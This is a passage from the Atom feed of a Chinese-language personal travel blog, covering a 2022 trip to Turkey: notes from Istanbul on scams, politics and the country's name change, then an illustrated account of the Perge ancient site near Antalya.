&lt;&#x2F;li&gt;
&lt;li&gt;中国游客很少：
&lt;ul&gt;
&lt;li&gt;大街上很多韩国游客（可能跟他们&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日起取消入境隔离与飞行限制有关&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;当地人问我们是不是日本人。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;土耳其耍人冰淇淋臭名昭著，还是有人去买，我不明白。&lt;&#x2F;li&gt;
&lt;li&gt;疑似骗局：
&lt;ul&gt;
&lt;li&gt;我们从当地人手里买了地铁卡，结果充钱后钱没了；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;span lang=&quot;tr&quot;&gt;Binbirdirek
Sarnıcı&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的售票点是个保安亭，收完钱给的发票金额不对，而且是从盒子里拿出来的。等我出来时，亭子里收钱的人不见了。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;心向欧盟：
&lt;ul&gt;
&lt;li&gt;土耳其的车牌完全仿照欧盟造型，只是没有欧盟标识——有些人甚至会在标识位置贴上圆形贴纸；&lt;&#x2F;li&gt;
&lt;li&gt;纪念品店会卖零欧元；&lt;&#x2F;li&gt;
&lt;li&gt;入境离境章和欧盟相似；&lt;&#x2F;li&gt;
&lt;li&gt;当地人说欧盟偏向乌克兰，忽视土耳其的原因是宗教。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;改名：
&lt;ul&gt;
&lt;li&gt;奥斯曼帝国攻破君士坦丁堡后没有改名，土耳其共和国给改成了伊斯坦布尔；&lt;&#x2F;li&gt;
&lt;li&gt;现在他们又在把自己的英文国名改成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Türkiye：
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gov.uk&#x2F;government&#x2F;publications&#x2F;country-names&#x2F;country-name-changes-in-hmg-use-1919-to-2020&quot;&gt;英国政府在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2022-06-21&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之前把土耳其的全名改成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Republic
of
Türkiye，但是简称仍然是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Turkey&lt;&#x2F;a&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.iso.org&#x2F;obp&#x2F;ui&#x2F;#iso:code:3166:TR&quot;&gt;ISO&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2022-07-11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把全称和简称改成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;the
Republic of
Türkiye&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Türkiye&lt;&#x2F;a&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;标准只是标准，民众应该还会继续使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Turkey——只有法语的变音符号才能出现在英语里，因为法语曾经是英格兰的官方语言。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;关于政治（我对政治没有研究，但旅行时能感到它伴我同行&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：
&lt;ul&gt;
&lt;li&gt;和我聊过的酒店工作人员都认为现在的政府太右；&lt;&#x2F;li&gt;
&lt;li&gt;与旅游业不相干的土耳其人英语不好，所以我没和更多当地人聊；&lt;&#x2F;li&gt;
&lt;li&gt;在路上可以看到右翼政党与组织的标识；&lt;&#x2F;li&gt;
&lt;li&gt;将土耳其世俗化的凯末尔貌似就是土耳其民族主义兴起的推手：
&lt;ul&gt;
&lt;li&gt;我认为爱国和民族主义的差别在如何对待其他国家。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;turkey-2022-istanbul
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;turkey-2022-istanbul&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>2022土耳其行：安塔利亚</title>
    <published>2022-06-23T17:17:27+01:00</published>
    <updated>2023-06-01T18:21:29+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/turkey-2022-antalya/" type="text/html" />
    <id>https://emptystack.top/turkey-2022-antalya/</id>
    <content type="html">
      &lt;p&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;13&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日我和朋友们坐飞机抵达安塔利亚，开始了土耳其南部的旅程。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_103031.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_103031.11df0000e959235c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_103031.414e7d1f76e6b91c.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_103031.2726286853f69745.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_103031.414e7d1f76e6b91c.webp&quot;
	alt=&quot;海岸边巨大的土耳其国旗&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#Perge_Ancient_City&quot;&gt;Perge Ancient City&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#Stadion&quot;&gt;Stadion&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#The_Southern_Baths_complex&quot;&gt;The Southern Baths complex&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#Basilica&quot;&gt;Basilica&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#Hadrianus’_Arch&quot;&gt;Hadrianus’ Arch&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#一些杂图&quot;&gt;一些杂图&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#Kaş&quot;&gt;Kaş&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#Sunset_Villa_Hotel&quot;&gt;Sunset Villa Hotel&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#畅游“我们的海”&quot;&gt;畅游“我们的海”&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#Demre&quot;&gt;Demre&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#St_Nicholas_Church&quot;&gt;St Nicholas Church&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#Antalya&quot;&gt;Antalya&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#Hadrian’s_Gate&quot;&gt;Hadrian’s Gate&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#钟楼和阿塔罗斯二世雕像&quot;&gt;钟楼和阿塔罗斯二世雕像&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Perge_Ancient_City&quot;&gt;Perge Ancient City&lt;&#x2F;h2&gt;
&lt;p&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;14&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日上午我们去了潘菲利亚的首都&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Perge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;参观。Perge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;很好玩，只需要一点想象力就可以体验古罗马的生活。由于时间关系没参观完，如果下次有机会再来安塔利亚，我还会再去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Perge（一个月后我得知这里是《圆锥曲线论》作者&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Apollonius
of
Perga&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的出生地，下次去准备在废墟上解一道抛物线的题&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Stadion&quot;&gt;Stadion&lt;&#x2F;h3&gt;
&lt;p&gt;进入古城后最先到达的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Stadion。Stadion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;既指赛跑运动，又指举办这项运动的场地，同时还指这项运动的长度。这个词演变成了拉丁语和英语中的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Stadium。Perge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Stadion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是一个瘦长的椭圆形建筑，观众席和场地离得很近。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_115206.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_115206.b006e1f9f568b7be.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_115206.a9168401b9593711.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_115206.197ddc2896f6e692.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_115206.a9168401b9593711.webp&quot;
	alt=&quot;Stadion全景&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_120724.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120724.a473f3e7f18f29a9.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120724.86fa3ec0d6dfb9a4.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120724.63409a6e0f73a3bb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120724.86fa3ec0d6dfb9a4.webp&quot;
	alt=&quot;Stadion观众席&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_120406.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120406.92e04633547fc06e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120406.5ef4a65164b51214.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120406.e7965a069c9fea67.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120406.5ef4a65164b51214.webp&quot;
	alt=&quot;Stadion楼梯&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;楼梯旁有一块刻有希腊文的石碑，看到它我就像考古学家一样高兴。但我不认识希腊文，所以不知道这块石碑在表达什么。&lt;&#x2F;p&gt;
&lt;p&gt;场地中有一只小陆龟。神龟虽寿，这只龟也不可能见过这座&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Stadion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;人声鼎沸的样子。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_120227.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120227.8c987d974a6f7632.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120227.29e5c76da8c58996.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120227.647b354725d146e4.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120227.29e5c76da8c58996.webp&quot;
	alt=&quot;Stadion的石碑&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_120924.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120924.16556d4b13075c66.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120924.a67aedd37be0da98.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120924.1ca1eef72eeb02f1.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_120924.a67aedd37be0da98.webp&quot;
	alt=&quot;Stadion里的陆龟&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h3 id=&quot;The_Southern_Baths_complex&quot;&gt;The Southern Baths complex&lt;&#x2F;h3&gt;
&lt;p&gt;我对罗马人的浴场很感兴趣。Perge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以看到浴场的遗址，我很满意。&lt;&#x2F;p&gt;
&lt;p&gt;这座浴场最初建于二世纪，除了洗浴的场所外还有一块健身用的空地（Palaestra&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。介绍里说浴场内还有希腊诸神的雕塑，但是被移到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Antalya
Museum。&lt;&#x2F;p&gt;
&lt;p&gt;从入口进入，第一个浴池是洗冷水浴的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Frigidarium，这里还能看到&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.academia.edu&#x2F;28238895&#x2F;Mosaics_Decorating_the_Southern_Baths_in_Perge&quot;&gt;五到六世纪&lt;&#x2F;a&gt;的地砖（其实&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Perge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还有很多马赛克地砖，我猜它们现在同样在博物馆&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_124925.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124925.2f968f92785bdf43.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124925.7841e05bb761e1cc.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124925.d54404c02e6c319d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124925.7841e05bb761e1cc.webp&quot;
	alt=&quot;Frigidarium&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_124808.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124808.3f2c5afaa4f8f8db.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124808.077737209280f54e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124808.64b17c8741043b05.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124808.077737209280f54e.webp&quot;
	alt=&quot;Frigidarium旁边的地砖&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;我最先参观的其实是洗热水浴的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Caldarium，因为它的外墙已经坍塌了，可以直接进去。它的地板也缺失了一部分，可以直接看到地下用来加热的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Hypocaust：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_122134.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_122134.76ffd149615c57fc.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_122134.b4944c22e0f63b7f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_122134.2df290cd391246f8.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_122134.b4944c22e0f63b7f.webp&quot;
	alt=&quot;Caldarium与Hypocaust&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;下图石柱底座后面的空地就是浴室里的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Palaestra（Perge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有两处&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Palaestra&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;没有标注名字的浴池外有一块石碑，&lt;span lang=&quot;el&quot;&gt;ΔΙΚΑΙΩ&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;谷歌翻译为“正确的&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，另外的单词查不到。由于离加热设施较远，我推测那里也是洗冷水澡的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Frigidarium。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_125022.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125022.09d150ad9d8e0240.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125022.393b285fe769ceca.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125022.01b7f0ca2910a6cd.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125022.393b285fe769ceca.webp&quot;
	alt=&quot;雕花底座&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_125100.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125100.664ede6a57762d4a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125100.b1402eddba0dd972.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125100.3ad70829bd82291d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125100.b1402eddba0dd972.webp&quot;
	alt=&quot;刻有ΔΙΚΑΙΩ的石碑&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h3 id=&quot;Basilica&quot;&gt;Basilica&lt;&#x2F;h3&gt;
&lt;p&gt;距离大门很近的地方有一座六世纪建的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Basilica，那时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Perge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;已经从罗马早期万神信仰全面转向基督教了。在此之前，圣保罗就到过两次&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Perge。&lt;&#x2F;p&gt;
&lt;p&gt;有趣的是，在参观它时，整个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Perge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上空都回荡着附近清真寺的宣礼广播。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_124308.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124308.48cd6e5df14bebca.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124308.273401242981bca7.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124308.d528928e65849d22.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_124308.273401242981bca7.webp&quot;
